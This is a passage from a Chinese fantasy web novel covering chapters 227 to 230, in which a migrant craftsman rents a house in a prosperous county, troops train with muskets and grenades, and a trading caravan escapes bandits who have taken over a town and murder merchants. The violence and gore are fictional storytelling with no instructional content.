可以说,他来这里前,觉得自己活得很空,那个时候的他脑袋空空,只想着如何干更多的活养活家人,为了让家人吃饱穿暖而拼尽全力,而来到这里后,万惠很惊诧的发现,这里不需要他拼尽全力,在这里,吃饱穿暖只是最为基础的存在。 尤其是在万惠听到这里居然还在冬季供应沼气地暖,在需要取暖的冬季,月收费200文即可暖洋洋地过个冬。 这200文在风仙县这里,是一个异常低廉的价格,毕竟此地最低日薪都有100文,也就是说,百姓只需要花费两个工作日即可获得一个月的供暖。 且风仙县的棉花,布料价格相较于元城便宜太多,万惠还听闻去年冬季时,风仙县还给弄了什么棉服补贴,每人限购一件,那价格对比外面,简直和做善事没区别。 退一万步,就算是没有工作可以获取银钱的人,也可通过给官府干活获得棉服,不至于说冬日会被冻死。 万惠至今还记他初闻此消息时的那股震撼。 ——都做到这份上了,这明摆着就是官府想让普通百姓都能在冬季活下来,毕竟万惠自己就曾经历过严冬。 元城的冬季是他记忆里最难熬的时候,穿着破旧的二手棉衣,缩在棉花都结块的硬棉被里,全家人躲在最小的屋内,靠着柴火取暖,各个瑟瑟发抖宛若鹌鹑一样。 当初万惠为了不让家人受冻,没日没夜做活,只为了给家里多买条棉被,买一件棉衣,多买些柴火。 干活干到手生了冻疮也不敢停,他若是停下来,家里人又该如何?岂不是要冻死在这个冬季? 没日没夜干活换来的好歹是家人艰险过冬,虽说不够暖和,但万惠不敢有太多渴求,毕竟冬天挺不过来的人家多的是,每年开春时,都会冻死一些以往有过一面之缘的人。 以前万惠只是觉得这世道艰难,像他们这样,没能投个好胎的人,命就是这般不值钱,直到来到这风仙县,亲耳听到此地普通百姓的待遇,倒是忍不住心中生出难以描述的感触来。 ——原来他们这样的人也能活得像个人。 第227章 训练 从回忆中回神,这会听着同宿舍的人还在纠结犹豫,万惠倒是没再犹豫,反而打算等他稍微有钱能租得起院子后,这便将家人带来。 毕竟对于万惠来说,搬到风仙县日后有可能会像是他们所说,被朝廷发现后派兵攻打,但万惠突然觉得,比起不知道何时会来的战争,还不如先将自己能拿到手的先拿到,比如他只有在此地才能切实感觉到活着。 想来妻子孩子也会如此觉得。 相比于在元城活得人不人鬼不鬼,还不如选择来风仙县,能活一天好日子便算作一天,也不算枉为人。 万惠是个倔脾气的,这会既然下定决心,便不再听其余人讨论,只是想着之后要更努力工作,好对得起拿到的薪资。 他进了屋子,躺在单人床上,闭上眼开始琢磨别的。 ——先前他问过租房子的牙人,那人告诉他,一间带小庭院,外有灶屋的青瓦房,年租金为8两,毕竟环境好,所以价格要贵一些。 若是对环境放宽要求,则可以选择租得更便宜一些屋子,环境差点,但是年租金便宜,只需要4两即可。 万惠偷偷在心里算了笔账。 按照他如今的收入,一个月大概为10两,完全可以租下房子,接妻子孩子过来生活。 至于这两套房子到底该租哪个,万惠决定明日下工后让牙人带他去亲自看看。 除却积攒租金外,他知道自己还得攒点应急用的钱财,但元城实在艰难,万惠思索片刻,还是觉得让家人早点过来算了,毕竟风仙县此地花费小,家人还能团聚,切身体会下来,方方面面简直吊打元城。 且学堂一年只需缴费一两便可进去读书,想到家中两个孩子的岁数已经算不上小,万惠自然着急,毕竟他可是亲眼看着了,这风仙县送去学堂的孩子们大都年岁很小,毕竟本县收入高,物价低,家中都能攒下钱,自然愿意送孩子们去学堂读书。 思来想去,万惠倒是先睡着了,等到第二日上工结束后,他忙跟着牙人前去看住所。 这牙人先领着他去那年租金8两的住所,二人前后间隔开,等走到一片新盖的住所这才停了脚步。 “这一片是本县特意为了外来人员能顺利租房而特意建造的房所,这都是新盖好的,万兄跟我进来看看。” 万惠忙跟上牙人,等看清楚眼前这屋子后顿时脚步一顿,抬头惊讶。 这房子是青砖瓦房,在外面看上去十分干净规整,进了门,万惠发现这房子倒是比他想象中小一些,但很新,外头是一间灶屋,院子已经规划好了,正空着土,正对面是一间宽敞的房子,虽说只有一间,但万惠看了看,这地方够大,他完全可以自己做一扇屏风,将一间房分隔成两间房。 看来看去,万惠发觉这房子实在是好,最令他惊诧的是,这房子门前不到十步远就有一个水井,牙人笑眯眯开口。 “这一片是新建的,每隔二十户人家便会有一新的水井,方便使用。 且这水井里的水,都由官府供应的,日常维护也是由官府负责。” 万惠又看了看这水井所在的位置,发现它确实位于二十户人家的中心,可谓是不偏不倚,谁家距离这水井都挺近的,都是十步左右的距离。 这会便不自觉想到在元城水井都是几十户人家一起公用,他家距离那水井远得很,每次都是他去挑水,将家里储水的大水缸储满水,不然妻子哪能挑得动水? 想到这次他来风仙县工作,元城不说别的,这打水一事恐怕要让妻子受苦,万惠更想将妻子接过来了。 这会看着这套房子,万惠自然是满意异常,但他还想再看看那套年租金4两的,毕竟得对比一番。 牙人倒是负责,带他前去那地,路上还和他继续闲聊。 “万兄,一会你看到那年租4两的房子,最后肯定还会选择这8两的。 ” 万惠脸露尴尬。 “手头不宽裕,总得对比着才是。” 牙人倒是没说话,显然也是见多了这情况。 等到将他带到那4两年租金的小屋后,万惠发现牙人说的确实没错,这小屋照那8两一年的差了不少。 大小和那个相仿,但看着就要破旧许多。 牙人介绍这屋子并非官方建造,而是民居房,外头倒是也有灶房,只是用茅草棚盖的,连个门都没有,只有单纯的遮雨作用。 再看看其余地方,屋内也陈旧一些,墙皮脱落了几块,看上去光线不太好的样子。 两所屋子倒是都按照官府要求开通了沼气,就是这所屋子距离打水的水井稍远。 万惠不免纠结,这屋子确实不如那8两一年的,唯一的好处就是便宜,面积和那房子相仿。 他精通于手艺活,日后倒是能给这灶房砌墙什么的,虽说有些折腾,但日后可是年年少给出去4两银子呢! 一时半会,万惠有些纠结,因倒不是着急租,所以便给牙人说了活口,只说自己想想再给出答案。 牙人倒是理解点头,两人并行离开时,万惠有些好奇问那8两一年的房子卖多少钱。 只见牙人笑着道:“那可不卖,风仙县现在官府出资建设的房子只用于出租,若是想买卖的话,只有买个人手里的房子了。” 说者无意,听者有心,万惠并不傻,他很快便明白这风仙县到底是个什么情况了。 ——想来是前往本县的人太多,若是房子都卖的话,那会有更多像他这样的务工人员没地方住。所以官方才会特意建造出租房区域。 想明白这点后,万惠倒是有些微微失落。 他原还想日后有钱了,看能不能靠着自己去买一套房,但现在看来,日后说不定他都要买不上这风仙县的房子了。 想起这点,万惠突然有种急切的冲动,他得找机会看能不能攒点钱,在这风仙县买一套房,想来日后风仙县的房价只会越来越高。 和牙人分开后数日,万惠都安安稳稳上工,他犹豫后,最终决定还是要租那8两一年的房子。 毕竟看着明亮,让人心情好。 和万惠一样想法的人也不在少数,不少人也偷偷摸摸去看了房,这会都在憋着劲,打算这个月工资下来后,再考虑让家人过来才是。 而这从元城来的三百四十匠人中,风仙县的官员们早就在第一日时就将那朝廷特意塞进来的探子拎出去塞进牢房。 如今那二十来号人正干着别的活计,总归是劳动力不能浪费。 至于传递消息? 在仙师没彻底统领前,想都别想。 匠人们为了高薪拼命赚钱的同时,火铳和震天雷的产量也在迅速增多。 当第一批成品造出来时,自然是先送到了方知意手上。 看着那漆黑的抢口,方知意拿在手上,感受着重量,而后先行试验一番,发觉此物效果和她在批量生产前试过的一样。 这会自然是迅速将火铳分发到官兵手里,方知意的想法是先让弓箭手学习,等到弓箭手掌握火铳后,再由弓箭手将这使用方式分别教给其余官兵们。 毕竟日后若是和陈京行,和朝廷作战的话,这玩意将会成为战场上最令人惧怕的存在。 第一批火铳迅速发放到弓箭手手中,这些弓箭手都是射箭的好手,这会拿到火铳后自然一脸好奇。 毕竟是第一次见,当听清楚使用方法后,众人脸庞均是露出凝重和惊叹。 ——这这威力真有说的这般大? 等到实际上手,感受到那股远超想象的后坐力,再看看那已经被打得稀巴烂的靶子,众人的眼睛顿时发光。 这效果竟然真和说的那般强悍! 不敢想如果在战场上,敌人的身躯会被打成什么模样! 恐怕一发过去就是血肉横飞! 且更为变态的是,这玩意的穿透力极强,若是打得好的话,一发甚至可以击毙两人。 填充起来话,可比弓箭快多了。 一时间,众人心生畏惧,而后又对日后征战生出了数分野望。 ——原先他们想到要和陈京行,要和朝廷对战,自然是颇有些信心不足,毕竟风仙县人数相较于对方,实在是太少,虽说有仙师坐镇,但始终心里也是颇为忐忑。 但如今手握如此重器,众人顿时就释怀了。 这种杀器若是投入战场,那对于敌人来说,绝对是毁灭式的打击。 至于那震天雷,更是让众人瞪大眼睛。 这玩意看上去小小一个,但谁能想到其内蕴含着这般恐怖的能量? 他们可是看得清楚,那一颗下去,炸得泥土四处飞溅,比那火铳威力还要大,这若是扔进人群里,可谓是能带走一片。 因震天雷练习起来威力巨大,声音也甚是宏亮,于是这练习地点便被安排到了僻静的一座山头。 这山原本就是方知意打算炸开的山,她是想在这里建设一个军事基地来着。 毕竟足够僻静,无人注意。 且这块地也没什么种植价值,开采价值,于是本着不浪费的原则,让他们在这里练习,等到将这小山包轰平后,再建立军事基地便是。 于是很快,此处便经常会传来此起彼伏的爆破声,这大都是新人正在练习。 好在是远离城区,这动静压根没造成关注,倒是官兵们使用火铳和震天雷的熟练度正逐渐上涨。 除却最先训练的那批弓箭手,陆陆续续已经有三分之一的官兵接受了训练,至于剩余的三分之二,教授起来会更快,毕竟学会的人越多,教授来源便更多。 当然,不单单是教授训练,方知意还特意注意对于此物的管控,毕竟这物若是流通出去,麻烦得很。 不仅仅是有专人负责把控数量,每支火铳,每颗震天雷,都有对应的特殊编号,若是被使用,必须要登记编号,登记使用人员的名字,做到能够彻底彻查才是。 第228章 扩张 黎州元城。 保皇派一行人将那三百四十匠人差官兵送过去后,等到他们回来后自然也是差人询问那风仙县到底如何。 得到的答案均是那风仙县实在是落后贫困,毕竟这些前去押送的官员各个都没能从其中捞到什么油水,自然心中对风仙县很是不满,自然添油加醋将风仙县的无理行径一一回报。 譬如县令不过去接应他们,这明显就是对皇上不够尊敬,又譬如当地各方面实在是落后——这是自然,毕竟那可是方知意特意留下来迷惑他们用的。 这说辞从好几人口中得到结果都是惊人的一致,保皇派众人先是眉头微蹙,而后又神色舒缓。 虽说这统领风仙县之人确实是不懂规矩,但这也恰恰说明对方眼界也就到这里了。 毕竟就算是陈贼,至少面上该做的,他还会去做,免得被人抓住把柄,而此人旗下统领不过仅有一小县域,竟敢对朝廷如此不敬。 实乃心高气傲,不知死活! 但又一想,这样也好,这般见识浅薄定是相当好骗,日后等到他们和对方联合起来将那陈贼拿下后,再看情况清算这风仙县背后之人也不迟。 除了从官兵口中知晓情报,这几人还在耐心等待着安插进去的线人给出回信。 至于向别的匠人打听?他们可没有那等闲工夫。 与此同时,杜百则是加快了供货频率,毕竟偌大的元城的消费力还是很客观的,售卖货物既能给风仙县提供收益,同时在某种意义上来说也是削弱了敌人的经济,且还为仙师日后攻破元城打下了基础,可谓是一石三鸟。 于是细盐,白糖,棉布,干货,马桶,昭华灯迅速流入市场。 当然,对于昭华灯,杜百还是特意控制了数量,毕竟物以稀为贵。 元城虽说普通人过得一般,但中上层的人家倒是日子过得比以前好了。 比如以前可没有这般方便的马桶,干干净净,无须再因为出恭烦躁。 昭华灯则是大大增加了夜晚的可玩性,无论是玩乐还是读书学习,好处都是大大的有。 尤其小皇帝甚是喜欢这昭华灯,命魏公公多采购一番昭华灯,势必要将他所去之处全部安装好这灯具。 魏公公自然同意,毕竟这可是中饱私囊的好机会,反正给小皇帝的东西,他大可翻个倍报价。 等到按照要求将那昭华灯安装完毕后,小皇帝走哪哪里必须点灯全亮,自然,这其内染料的消耗速度实在是惊人。 燃料的补充已经从一月一次到达了恐怖的十天一次。 且最为重要的是,这燃料添加起来可不便宜。 但小皇帝不在乎,他习惯了这般明亮的光线,由奢入俭难,谁愿意再回到晚上昏暗的灯光下? 至于这填充燃料一事,自然也是归杜百管。 为了方便补气,她一般会直接带着已经灌满沼气的灯芯,直接和对方早就拆卸下来的灯芯对换,这样补气速度奇快。 且当初为了攻占元城的沼气灯市场,杜百特意在和方大人通气后,让工匠在距离黎州元城最近的陶瓷厂建设沼气池,一来负责日常陶瓷厂的生活使用,二来就是进行商业售卖。 后来倒是因为这加气业务实在是频繁,在禀明方大人后,陶瓷厂附近又开了一个小型的灌装沼气加工厂。 里面招收的人员自然是从风仙县及附近几个县域过来的人,因此地较为远,所以工钱给得不少,倒也有不少年轻的,或者是年岁大点的人愿意过来,毕竟他们没什么牵挂,这活计轻松,也不需要什么门槛,只是远离家乡罢了。 所以无论是加工厂,亦或是陶瓷厂的匠人们,其实里面一直不缺人干活。 而杜百要干的事就是定点定日子过去拿走已经灌装好的灯芯,然后再给元城需要加气的人家提供换气服务。 因为换气也颇耗费时间,杜百索性将这换气服务全权交给商队旗下的两个人,由他们固定负责换气。 杜百倒也上心此事,很快就发现这换气带来的收益很是持续,陆陆续续竟然已经超过了先前售卖昭华灯的收入。 看着那记账本上登记的换气记录,杜百突然就明白了为何县令大人非要将这昭华灯引入元城,实在是因为此为能够源源不断带来收入啊!且这收益可是不小! 元城有心思投机取巧的商人不少,在昭华灯火了后,没有谁不想掺和一脚,毕竟对比售价来说,实在是暴利。 但很可惜,昭华灯形态容易破解,但难点在于其内能够燃烧的气体到底为何物? 且对于这些商人来说,气体能燃烧,本就是一件让人大吃一惊的事,大炎朝的书籍对于此现象自然也是不曾有过记载,这就导致这沼气成了完全独一无二,无法复制的存在。 尽管这些商人拼了命想去研究那燃烧气体到底如何产生,但最后均无奈放弃,只能转变态度,考虑看能不能和杜百合作。 但对于此事,杜百早就询问过方大人。 方大人的意思自然不同意,毕竟目前元城市场就那般大,两个人负责换气都够用,若是再加入旁人,想来更为混乱。 且她也只打算让元城知晓沼气唯一的用途,自然不可能放任对方参与进沼气运营内。 在得到否定的回复后,杜百自然将有心思的商人一一回绝,因杜百背后有谈天禄当做靠山,这些商人虽说恼怒但也无可奈何,只能叹气放过这赚钱的生意。 而除了杜百的跑商运营得十分顺利外,驻扎在黎州各地的装修队也是干得火热。 新一批的装修工人已经到位,而所需要装修的活计却是越干越长,打眼看过去,距离完工还十分遥远。 老装修队的工人们在看到新人来的瞬间眼眶红了。 ——靠,太不容易了,可算是等到接班人了,这连个马桶都没有的破烂地方他们可是待不下去了,就算是再赚钱,这也得回去缓缓才能继续干啊! 而新来的人倒是有听过这黎州为苦寒之地的传言,大部分人已经做好了心理准备,来此地的目的主要是为了赚钱,少部分人则是还对黎州抱有一丝丝期待。 总之不管接班人是什么心态,反正他们得回去了。 这会像是背后有鬼追一样,急匆匆离开,甚至连多余的客套话都来不及说,生怕接班的人反悔。 接班的工人们:不至于吧?这地有那么不能呆么? 他们此行过来自然是签了工作合同的,硬性规定必须要呆满三个月才行,不然工钱结算会扣除违约金。 众人都不觉得自己连三个月都待不住,毕竟大伙又不是没过过苦日子,哪有那么娇滴滴。 但是很快,众人惊恐地发现,他们对于现状还是太乐观了! 因温度逐渐升高,蚊虫日夜增多,睡觉的时候,经常会被臭虫,蚊子叮咬,痒得人简直要被逼疯。 好容易想办法给窗户上弄上个细密的网纱防止蚊虫,又给房内消杀,但时不时还会有蚊虫臭虫侵入。 主要原因也是因为这黎州不像是风仙县,每个人都接受过扫盲教育,都知晓定时驱虫除虫,且风仙县官府也会定时给街道除虫,而不像这黎州,除虫这概念也是大户人家才有的,像是普通人,哪里轮得上讲究这个? 再说了,饭都吃不饱,谁还有心思讲究这个? 这可就苦了从风仙县过来的装修众人。 别人没有除虫意识,他们就算除得再干净也难免还会遭受无妄之灾。 好容易忍住崩溃,众人很快就在元城没有马桶的冲击下呆愣许久。 虽说他们用上马桶的日子也不算长,也就半年,毕竟风仙县内的马桶售价还算平价,且加上官府大力推广,自然是很快便覆盖全县,几乎可以达到百分百的覆盖率,毕竟别的可以凑合,但一旦使用过更文明的出恭方式,谁乐意再脏兮兮的上? 这来到此地也是这个道理。 众人好歹曾经一脚踏入文明社会,这会回归原始实在是有些接受不能。 这会各个愁眉苦脸,已经考虑要不要一起出钱换个马桶了,毕竟马桶也算不上贵。 本是这样想的,直到李思笑眯眯道:“是个好想法,只是此地马桶售价实在是不菲啊。” 众人:??? 等知晓在风仙县本地只售卖一两,最多二两的马桶在此地竟然需要几百两后,众人面面相觑,均从对方眼里看到了惊恐。 ——疯了吧!这里的马桶卖这么贵! 李思笑眯眯。 “在风仙县本地,咱们属于是自产自销,自然价格便宜,这出了风仙县,自然就算的上是出口了啊,价格自然翻个数倍不成问题。” 又看众人一副萎靡模样淡淡道:“坚持一下,日后我向上头请示一番,看能不能让官府的商队给咱们捎一个过来。” 倒也不是李思心善,毕竟他也有些想念文明社会了 众人好歹是有了点盼头,这会都不盼着高薪待遇什么了,只盼着商队能快点送来马桶才是正经道理。 除了装修队在黎州四处落地开花后,先前由李思带头占据的布料行业自然也做成了黎州的布料龙头。 旗下几百家大大小小的商户需要从李思手中拿取染料,棉布,机器,又因李思独特的加盟模式,很快品牌效益打开,黎州众人的选择则逐渐向李思所运营的布料店靠拢。 当然,自然包括旗下的加盟店,那些小店铺跟着李思,倒也赚了不少。 而大些的店铺则是运用李思给的颜料染出了更为鲜艳坚固的颜色,再加上纷纷忌惮李思此人身后的大人物,这会可谓是实际好处拿到手,又畏惧对方,自然顺理成章地将李思视为权威。 布料店在黎州运营良好,为风仙县带去了难以计数的巨额收入和工作岗位。 为了复刻此成功,李思奉命派出一支小商队,踏上前往幽州的路程。 第229章 合县 话说这前往幽州的小商队带头人名为丛喜。 此人在李思手下干过不少活计,素来以麻利靠谱活跃在李思手下,所以这次前去幽州的任务便托付给了此人。 这一商队带领的人大约仅有十五人,连中型商队都算不上,最多也就算是小商队。 因此行较为遥远,李思拿到了风仙县那边差人送来的符咒,让丛喜带着,这符咒自然大部分出自被俘虏的景旭宫一行外门弟子手中,虽说符咒等级不高,但架不住数量多啊,就说这火焰咒,连续扔出去十来张,那不也是一团火墙了? 丛喜倒是看得开,再加上他本身就属于家中无父母,无妻子儿女的人,出行自然没有担心之处,其余十四人和他情况差不多,大都是没什么牵挂的类型。 且从给的薪资角度来看,前去幽州探索的薪资可比普通工作高多了,毕竟风险相对较大。 一行人按照舆图,慢慢赶往幽州境内。 话说这幽州算得上是三个州可使用区域最小,人口最少的一个州了。 虽说幽州的面积可谓是三个州中最大的,但很多地方大都全年被冰雪覆盖,气温极低,无论是种植,畜牧都不成,自然不能被利用起来,人就少了。 但值得一提的是,幽除了边界那一大片区域无法居住,但越靠近黎州部分的区域倒是还算得上气候适宜,这里几乎全年四季如春,土壤肥沃,是出了名的蔬果产区。 且幽州的首都,坎城便坐落于此处。 不过因为距离黎州不算特别远,所以幽州和黎州之间倒是防得很紧,双方都怕对方直接打到首都来,于是分别将各自的首都防得严实。 而丛喜一行人自然最终目的便是前往这坎城,除了看看有没有将布料行推广开来的机会外,主要也是想趁机打探一番幽州的情报。 中途路过幽州旗下的县域时,丛喜一行人自然是发现温度逐渐下降,原先他们来的时候还穿着较为轻薄的衣物,这会纷纷又将厚一些的衣服加了回去。 若是说黎州已经到了夏季的温度,而幽州这边,则是再次回到了三四月的温度,空气中充斥着凉意,这股带着凉气的冷空气钻入一行人的鼻腔,刺激得几人不自觉打了个喷嚏。 不自觉裹紧了身上的衣物,一行人继续前进。 期间路过幽州旗下的合县时,众人决定歇个脚,休息一晚,毕竟他们本身对于幽州这边就不太熟悉,若是还赶夜路就太危险了。 无论是迷路亦或是路途中遇到野兽,亦或是流寇,虽说有先前李思给的符咒护身,但总归不保险。 其实一路走过来时,丛喜一行人倒是发现幽州这边看上去情况竟然要比明州,黎州好许多。 等到稍微向路人一打听,总算知晓为何。 原先去年大旱时,虽说靠近黎州这边确实不曾下雨,水源干涸,但人都长了腿啊,能跑,于是举家暂时搬迁到幽州边界,那里有雪水,温度不至于高得让人活不下去,路上自然也死过人,但总归来说,大半的人都活了下来。 且值得一提的是,幽州的首都坎城虽说也遭遇大旱,但城内却不曾缺水,原因便是因为有跑商之人将那边界的雪水收集起来,售卖给城中百姓,虽说价格不算便宜,但但凡是手头有些钱的,不愿意在路上折腾的人家都选择了买水。 也恰是因为去年大旱催生出了新的职业,便是卖水。 因这活计确实可以赚到点钱,也因为幽州本就赚钱的机会少,一时间竟是有不少人都陆陆续续参与其中,售卖起水来。 就连丛喜也是后续才知道,这些商人竟然将水还卖到了距离幽州较为接近的黎州一带,至于为何这消息完全没能传到他们耳里也是因为幽州和明州之间实在是距离过于遥远。 因为远,这么算下来跑商的话没什么赚头,一件事没有利益,商人自然是不乐意干,理所当然,明州丝毫不曾传递回来此消息。 如今一行人入住在这合县一家小客栈内,打算第二日就离开这里,继续前进。 这小客栈内的老板和老板娘倒是和善,因为生意较小,不曾雇人,夫妻两忙碌着给众人做饭,又是烧热水,预备着他们入住需要的东西。 丛喜去了趟茅房,因为如厕实在是恶心,没敢多看,生怕一会没了吃饭的胃口,但架不住他运气不行,衣服上系着的小挂件“扑通”一声跌进茅房,物件落入液体的声响让他难免眉头紧蹙,这会心里骂了几句运道差外刚想转身离开,倒是发现那小挂件居然没落下去,反而像是落入一半,卡在中间。 丛喜心中实在是疑惑,这会找了个棍子戳着看了看,却在触碰到那物的触感后浑身发麻。 ——靠,这感觉像是头发? 像是不确定一般,丛喜试着继续往下戳了戳,那玩意咕嘟嘟翻了个面,他猝不及防和一张被腐烂的面庞对上视线,顿时心跳慢了半拍,一股难以描述的黏腻恶寒感似乎顺着棍子爬上他的手腕。 丛喜忍不住后背发凉,大着胆子仔细看去,这死尸只有脑袋,面目腐败,像是已死了多日,好在是没让他和对方对视一眼,不然丛喜觉得自己估计会被吓得心脏骤停。 毕竟想想看,他上茅房时,下方的粪坑内就有一死尸睁大双眼静静地注视着他。 只要这么一想,丛喜的鸡皮疙瘩瞬间起来了。 他已经算是胆子大的了,这前往幽州的路途上并非没有遇到流寇,但当时他们都靠着跑商多年的经验和符咒顺利度过,虽说惊险,但却没有这次给他带来的冲击大。 那掉进去的小挂件经过他这番戳弄,倒是彻底沉下去,而这死尸也在他先前的戳弄下没入水中,不见踪影。 丛喜身上还穿着长袖衣衫,这会竟然汗湿了后背,还不等他继续动作,门外似乎有人的脚步正在接近,丛喜立即将棍子放回原处,做出一副淡定模样离开。 等到他用余光注意那人模样后,发现居然是这客栈的老板。 此人看着像是没发现他的反常。 丛喜松了口气,而后迅速离开,但脑内警报声已然开始暴响。 ——这狗屁客栈不能住了,很古怪! 丛喜也是有过经验的,这会脑内自然想到的是那些打劫旅人,做“鸵鸟肉”的黑店,等到过去前面时,发现那老板娘正在处理腊肉。 因灯光昏暗,丛喜看不清楚那玩意到底为何物,但怀疑的种子一经埋下,自然是不愿意在这里继续住了,毕竟暗箭难防。 这会给手下人使了个眼色,作势有紧急情况要连夜赶路,这会手下人立马反应过来,收拾东西,打算跟着迅速离开。 为了安抚老板和老板娘,丛喜淡定地给出去一点银两,算所安抚,毕竟他如今只是怀疑,若对方并非是黑店,这些银两赔偿他们也是绰绰有余。 眼看他们这般着急,老板和老板娘自然是劝了几句,大都是夜路不好走,不如休息一晚再前去,但说话什么的都很在理,并非非要让他们留下。 但丛喜坚持要走,最后等到他带人离开后,这一对夫妻互相对视一眼,均从对方眼里看到了一丝轻松。 从那古怪客栈出来后,丛喜又敏锐地试探了其余几家客栈,发现合县的客栈其内都有几分古怪。 于是选择退了出去,找了个合适的地方在马车上过夜。 实在并非他不想继续前进,而是夜间突然起了大雾,若是非要前行,他实在是怕有迷路的风险,再说了,他先前不过是第六感怀疑而已,不曾看到什么切实的证据,相比而言,还是夜间行进更为危险。 虽说在马车上凑合过夜,但众人其实都毫无睡意,这会轮换着看守,等到凌晨三点时,丛喜却察觉到不对劲。 ——似乎有人马正在靠近他们。 这一发现让他顿时警觉,立即带着众人驾马前进,可惜对方是骑着马,速度要比他们拉着货的马车要快许多。 等到丛喜一行人被一伙流寇打扮的人包围后,那为首之人啧啧几声,似乎是很不爽。 “可真能跑,要不是这雾起得及时,还真让你们给跑了!” 丛喜很快反应过来对方早就盯上了他们,这会试探着套话。 越套,心底越是发凉,而后便是庆幸。 原这合县竟然已经完全被这伙流寇侵占。 原先那倒霉鬼县令早就被杀死,这会可谓是合县的县令就是这伙流寇的头领。 这伙流寇将本县搜刮一番后,本想着放纵屠杀后逃匿,但有一稍有头脑流寇声称他有一计,与其在这合县做一次性生意,不如短期操作,等多弄点银两后再逃走也不迟。 于是很快,在这军师的建议下,合县的百姓大都被派出去修建城墙,耕种,采矿,做些苦力活,当然了,这自然是没有工钱的。 产物的话,便由他们流寇负责倾销出去,虽说本县除了耕种收入外,别的收益对于一个县的经济来说,实在是不够看,但对于一伙流寇来说,已然算是一笔相当大的数额。 因他们还算低调,周围县域甚至都不清楚合县目前已经易主,毕竟现在天下动乱,各顾各都来不及,哪还有心思管别家县域的破事? 先前这些流寇就已经搜刮了一番县内大户们的银两,这会又是利用城内百姓作为劳动力,将粮食,矿产,盐巴售卖出去,竟然很顺利地获得了一大笔钱财。 除却这方面,这伙流寇实在是贪婪,竟然是连外来商人也不放过,强逼着客栈做了黑店,因合县被流寇侵占一事并未被察觉,不少商人到了此地落脚,却不幸惨遭灭口,大大小小的货物,自然是悉数被这伙流寇笑纳。 而丛喜一行人一进合县,因带着各种布料被评估为值得动手,自然很快就被盯上。 第230章 收紧 丛喜倒是没想到自己一行人居然惹了合县地头蛇,这些流寇们既然能将合县控制起来,想来人数定是要比那些官兵数量多的。 虽说手头握着符咒,但依旧心惊胆战,毕竟先前他们几次遇到流寇,大都没和对方正面战斗过,最多也是边跑边向流寇投掷符咒,这会被人团团围住,丛喜让自己冷静下来,而后试图和那带头人套话,以拖延时间。 除了拖延时间外,他自然也想知晓这群人到底有多少。 好在是这些流寇不算聪明,竟然是硬生生被他套出来不少情报,只是丛喜越听心越凉。 ——按照这些人所说,那些来往商人从未成功逃走,大都是在合县住宿,因其内大大小小的客栈均是下了药的,一到时候,这些流寇就会按着点去将那些商人挨个杀死,抢走货物,至于尸体处置自然是交给了客栈店家处置。 当然,也是只用处理头颅即可,毕竟身子还有别的用途。 一时半会,合县大大小小的客栈掌柜自然接受不了,毕竟活了一辈子也没想过最后还要遭遇这些破事。 但眼睁睁看着第一个反抗的掌柜被拖出去砍死,又当着他们的面被烹熟后,众人难免面色惨白,各个几欲呕吐。 至于为何要如此做,主要也是因为其实合县本身粮食储备也不多,流寇们还将大部分百姓手中的粮食夺走售卖,若是不开个头,这些百姓饿死了日后谁做活? 再加上有流寇提出的馊主意说,若是让百姓们和他们一同作恶,日子久了,他们便会逐渐麻木,想来对他们便不会那般介意。 两方因素都存在,流寇首领一琢磨,是这个道理,便这样办了。 而先前丛喜一行人所去的小客栈也是这个情况。 那对夫妻前不久亲眼看着那群流寇将人杀死,又让他们处理人头,本来是都颤抖着埋在远处的荒地,但丛喜看到的那头颅想来是哪个流寇顺手扔进去的,所以此事小夫妻二人不知晓,倒是反而提醒了丛喜。 说实话,那小夫妻二人也不愿意这番做,但合县目前被控制得严密,外地人尚且能通行,但他们本地人可是跑不了的,自然无奈,被逼着作恶。 当时丛喜提出要离开时,他们只是面上拦截一番,做足了面上功夫便迫不及待将人放走,毕竟在客栈住宿那可是必死无疑,出去的话,反而还有一线生机。 等丛喜套到不少情报,意识到这群流寇属实是穷凶极恶,这会面上故作惊慌,手心已经摸到了符咒。 其余手下人皆是如此。 因丛喜一行人带着的布料数量不多不少,处于一个值得注意,但又不是特别注意的情况,其实前来追赶他们的人数算不上特别多。 等到那为首的流寇提刀冲过来时,丛喜冷静抽出符咒,对着他便投掷过去。 只听“噗呲”一声,空中瞬间炸开一朵红色火焰,这火焰直勾勾撞上来人的头发面庞,烧起的火焰还带着皮肤被烧过的牙酸声响,此人没料到会有火焰窜出,这会面皮被火焰烫熟,头发被烧得噼里啪啦,剧痛让他身子一歪,从马上跌落下来。 高温带来的炙热惊得马匹高高抬起马蹄,又对着此人重重踩踏下去,而后这马一溜烟逃得没了踪影,而马蹄下的这流寇早就没了生息。 从流寇提刀要砍,到摔下马匹被踩死不过一瞬间的事,不少流寇没看清楚那火焰到底怎么回事,还以为是对方投掷了火折子一类的东西,眼看片刻间头被杀死,当即自然是气愤涌上心头。 这会冲刺得更快了。 丛喜也发了狠地投掷符咒,除了火焰符咒,他还投掷别的,譬如可将人固定在原地的符咒,等等。 其余人跟着丛喜也是拼了命投掷符咒,毕竟大伙又不傻,知晓现在这情况到底有多紧急。 ——这群流寇不死,死的肯定就是他们了,自古说狭路相逢勇者胜,此前已经到了需要搏命的时候了! 火焰落在流寇身上爆出噼里啪啦的声响,这群人几乎是“嗷呜”喊了一声,而后惨叫着跌落在地。 过了大概没多久,丛喜一行人喘着气,一边处理这些流寇,一边驾马跑路,竟是无一人伤亡从流寇的包围圈中驾马车跑了出来。 虽说跑得足够远了,但丛喜却觉得鼻尖依旧能够闻到那股若有若无的烧焦皮肉味,这味道足够让人记忆深刻,带着一股特殊的,难以描述的焦臭味。 眼下既已经逃走,丛喜赶紧喊着其余人快些驾马离开,等到一行人穿过合县,往坎城的方向逃跑时,眼看跑出去很远,马匹都跑得哈赤喘气时,丛喜决定休息一番,这会众人下马喂水喂食,将马匹打理一番,毕竟马车可太重要了。 刚没安静多久,立马就有人小跑着过来,脸庞带着惊喜诧异。 “丛掌柜,快来看,咱们队伍里多了五匹马!” 丛喜有些愕然,忙过去一看,发现这五匹马赫然便是那合县流寇身下骑着的马匹,这五匹马竟然不知道什么时候跟着他们过来了! 这五匹马被养得膘肥体厚,毛发油亮,一看价格就不便宜,只是运道不好,主人不靠谱,这会没想到竟是便宜了他们。 到底丛喜谨慎,对于这白来的五匹马,他决定先让这五匹马拉货,等到了合适的地方时再出手,毕竟他们此行所带的马匹数已经足够,再多了也是浪费,且这马皮来自于那合县流寇,万一日后惹出麻烦也不好弄。 